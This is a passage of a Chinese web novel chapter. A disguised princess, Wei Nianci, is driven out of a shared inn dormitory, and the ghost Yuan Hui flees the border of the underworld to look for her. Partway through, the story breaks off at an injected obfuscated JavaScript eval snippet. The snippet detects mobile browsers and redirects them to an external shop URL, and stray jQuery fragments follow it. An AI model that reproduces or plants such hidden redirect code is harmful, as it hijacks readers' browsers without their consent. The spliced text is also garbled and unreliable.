韦念慈的寝居从一开始舒适的房间到了宫里的宫殿,又到了风餐露宿的野外,如今是比野外好了些,但又变成了和很多男人一起住的地方。
这倒也是情理之中,酒楼也只是小买卖,不可能让他们这些住在酒楼里的人一人一间房间。只是这样多有不便啊,她若要换衣服,或者早上乔装自己,就得避着人了,但大家都要忙着做工,相互之间想要避开,恐怕也不是易事。
走到房外,韦念慈心里叹口气,其实也不是不能解决嘛。
如果有人发现她的女身要对她图谋不轨,她身上的暗器可都不是吃素的。乔装或者换衣服的话,她起早一点不也是可以的。
想明白了这一点之后,韦念慈便直接将门推开,紧接着就被人拿被子扔了一脸。
韦念慈脑袋上蒙着被子,眼前黑漆漆的一片,脚下一个踉跄就在地上翻了个滚。
她忍着气将自己从被子中解救出来,抬眼就对上了一屋子的男人,他们许多人光着膀子坐在大通铺上看她。
韦念慈没看清他们脸上的神情就连忙将头扭过去,这回她是真压不住心里的火气了,怒吼道:“你们就不能把你们的衣服穿好吗?”
她长到这么大,还是第一次见到这种放浪形骸的人,还是这么多!
“我们就是不穿,你能怎么样?”有人下了床蹲到她身边,轻蔑地抬着她的下巴。“大家都是男人,你着急什么,还是说,你觉得你伺候一次男人,就成了……”
韦念慈实在忍不了这人在自己眼前赤着身子晃荡,也顾不上再去忍着了,抬脚就朝他肚子上招呼,“我说了,让你穿上衣服,再不给我老实穿着,我就拔刀捅你!”
她一脚把人踹到了墙根,其余的人都怔住了,胆小的人连忙把衣服穿上了。
胆大连忙坐起身来瞪着她,韦念慈见有人被她唬住,索性就把韦颎给她的那把短刀亮出来,冲最先朝着她过来的那人挥刀,“当我不敢捅吗?”
冲过来的这人正是那个侧脸有胎记的人,他倒没同其他人那样光着身子,但他一双眼恶狠狠地瞪着她,同在饭堂中的时候一样,他对韦念慈有发自内心的厌恶。但他见她手里有刀,又回到了大通铺上,嘴上轻蔑地道:“你若是伤了人自己也落不到好果子吃,官府不会放过你!”
韦念慈指着自己的脸道,“你们把我打成这样,我都不知道自己会不会被打死,情急之下动了刀子,官府给我的刑罚,也不会太重。”
那胎记脸瞬间瞪大眼睛:“刚才你装的那么懦弱原来是在这等着?”
韦念慈翻了个白眼,她看着这房间,似乎每个人都很不欢迎她,除了对她释放过善意的张横。
而张横旁边的那块空了的床铺已经被人堆满了东西,再想想刚才的情形,她知道这些人要赶她出去。
而胎记脸见她这样,只当她是被自己气势吓懵了,直接跳下床,揪着她,连人带被子一起扔到了门外,“这里可不是你这种恶心的东西能住的,脏了我们的地方,滚!”
刺骨寒风刮过她的脸颊,韦念慈禁不住打了一个喷嚏。
“宝珍……”
张横见她竟然真的被人撵出去,连忙跑到门前,却被人喊住,“你是同情他,还是同情你自己?张横,你这是还没死心呢?”
韦念慈在母亲过世后被接进宫中的最初,也是被其他的皇子公主排挤过。那时不是没人帮她,但谁若是帮了她,那人就会被别人欺负的更惨。皇帝总是面上帮着她,但那些欺负她的人不会受到实质的惩罚,反而会肆无忌惮的欺负帮了她的人,
后来帮过她的人会将那些气撒在她身上,她能感受到他们因为她受到了多大的委屈,心里也实在不想再有人被她连累了。
这里的工人分帮划派的,同宫里的皇子公主们很像,她不想连累张横,连忙就说道:“你们这些不讲理的人,我光是看你们一眼都觉得掉价,跟你们住一间房那可真是折寿。张横是吧?我用不着你假惺惺的,谁知道你是不是跟他们唱双簧呢!”
她说罢,拿被子将自己牢牢实实地裹了起来,往地窖去了。
睡外面有什么大不了的,她如今偏还喜欢睡外面。睡在这里可比睡在皇宫里和方才那间房让人安心多了。
况且她睡在那里乔装的时候可方便多了。
地窖里一片漆黑,韦念慈拿着火折子将地窖照亮,瞬间眼睛都亮了起来,真是没想到这里居然还存放着些菜,但她很快就摇摇头,心里悄悄地告诫自己,不管到了何等地步,都不可动偷盗之念。
不过她睡觉的时候有这么多菜陪着,也能睡得更好吧。
这么一想,韦念慈连忙就把裹在自己身上的被子扯开铺在地上,而后才把衣服解开,将张横给她的伤药拿出来,边给自己擦药,边哄着自己就在这里睡下。
.
袁晦再醒来的时候,他已经身处在一条河边,周围只有沙沙响声,听不到鸟叫,也是一片黑暗。河水却泛着青色的亮光,透着丝丝诡异。
他有些意外,没想到自己的魂魄居然还能残留。背着宝珍从临水县到雍州的路上他就已经预想到了后果。
上一次用了诡术他就能感受到意识的缺失,但好歹夜里还能出现。可昨晚带她到了雍州城外,他是眼睁睁地看着自己的身体消散的,他知道问题的严重性,也早就做好了魂飞魄散的准备。
但他此时竟然还能醒过来,若是如此,他还是想去找宝珍。这一路危险重重,他不能让她一个人去亳城。
“你还想再回去?”
袁晦没想到这里还会有人,连忙四处张望寻着声音的来处。
“你低头。”
袁晦低下头才注意到自己脚边还站着人,这人容貌是少年模样,不过身子短小,还未过袁晦的膝盖,脸上对他的怠慢很是不悦。
“失礼,多谢郎君搭救。”袁晦连忙致谢。
“什么?”眼前人极为不悦地摇头,“别拿阳世的那套对付我,我可是阴界的神使,不过你叫我引尘就好。本来我是要送你去转生的,但我一直没找到你的魂魄,就连你的尸身都没找到。你得多谢日游神,要不是他说你功德深厚,我才懒得管你。不过我倒是不知道,你竟然是被人下了邪术。我也只能看着,不能动手解开,也多亏了那个小娘子。”
袁晦:“她于我有恩,况且依照那术法,我得为她做一件事。我应该送她到亳州再来往生的。”
“你都为了她差点把魂魄散了,跟她之间也两清了,要不然我也不能带你过来。”引尘叹道:“这次算你运气好,要是别的时候,你跟她之间的牵绊没解开,我还不能带你过来,只能放任你魂飞魄散。”
袁晦想起来先前那根牵住他和宝珍的那根红线,再低头看自己手腕,空荡荡的一片,那是真的没有了。不由得失落。
见他摩挲着手腕,引尘随即就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815037|211019||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道,“我看你魂魄稳了很多,现在去往生就没问题了,一会儿我就把你交给阴差,也算是功德圆满了。”
袁晦诧异看他:“这里不是诡界?”
引尘摆摆手,“当然不是,这里是阳世和鬼界的交壤,那条河是靡河,等到它干涸,便可见到靡门,过了靡门才到诡界。”
袁晦撇头看向那条河,河面极高,等到干涸还有一会儿。
“这里既不是阳世,也不是诡界,我在这里时间长了,魂魄会散吗?”
引尘嗤笑出声,“你也太杞人忧天了,诡在阳世,只要不乱用诡术是不会打散魂魄的。不过大多数人死后魂魄都会主动来这里前往转生,你就是个意外。魂魄飘散久了,你也就成了诡。”
袁晦若有所思地点头,“那您是神使,若是碰到我这样的诡,不管我在阳世的哪个地方,您都能找到我?”
“要真是那样,那小娘子一把你救出来我就能带你过来了,哪还能耽误这两天?”引尘叹了口气,“送你往生还是挺不容易的。”
袁晦连忙就笑着道:“麻烦您了。您要不要休息一下,等靡门开了我叫您。”
引尘闻言便开始打坐,“正好,帮你稳住魂魄费了我不少功力。”
他这一打坐,袁晦便悄悄地往回走了,靡门那边是诡界,那另一头就是阳世。他多往那边走就一定会找到的。就算被抓回去了,有了这次教训,他下次逃走的时候就不会这么难了。
其实他也不是不想往生,就是想到宝珍那么弱小的一个人,怎么能自己去亳州呢,他说要和她一起去,一定不能食言。
况且那时意识快消散之前,他把她打晕了,他想知道她怎么样了,醒来后又去了哪里,有没有遇见危险。
他想再见她一面。
.
许是昨夜韦念慈那一刀将人震慑住了,次日在酒楼中便也无人再理会韦念慈,也没人再来招惹她了。
“宝珍,你随我过来。”
忙过一上午,她刚准备去休息一会儿听到掌柜唤她的声音。
后厨里原本嘈杂的声音都停了一瞬,又都各自做事了。
掌柜穿了身鸦青色袍子,站在门边和蔼地看着她,和昨晚在他房中露出的那副神情相差迥异。
她四处看了看,心想,若他真的看出来她是女子而想对她不轨,光天化日的应该也不敢行事。她只要不随他去无人之地便好。
她走过去,恭顺地问道:“您找我?可有什么要事交代?”
“哎哟,这忙了这么久,怎出这么多汗?”
韦念慈笑着躲开他,心说,你都说了我忙了很久,明知故问。
她摇头。“劳您关怀,大家都比我辛苦。”
“他们哪能跟你比?”掌柜扶着她的肩膀说道,“你刚来,就该他们多照顾你。”
韦念慈撇头看着他搭在自己肩膀处的手,眯了眯眼睛。
“怎么?你受伤了?”见她这反应,掌柜连忙说道:“我都听说了,他们简直过分,怎么还动手打你?看这小脸,这么好看,留疤了怎么好?”
见他伸着手就往自己脸上来,韦念慈连忙抓住他手腕。
“嘶……”掌柜没想到这宝珍看起来瘦小,力气这么大,要是这样。他还不能用寻常的法子来治他。
韦念慈察觉到自己无意中暴露了,连忙松开手,低声说道:“我伤口还有点疼,您可别碰。”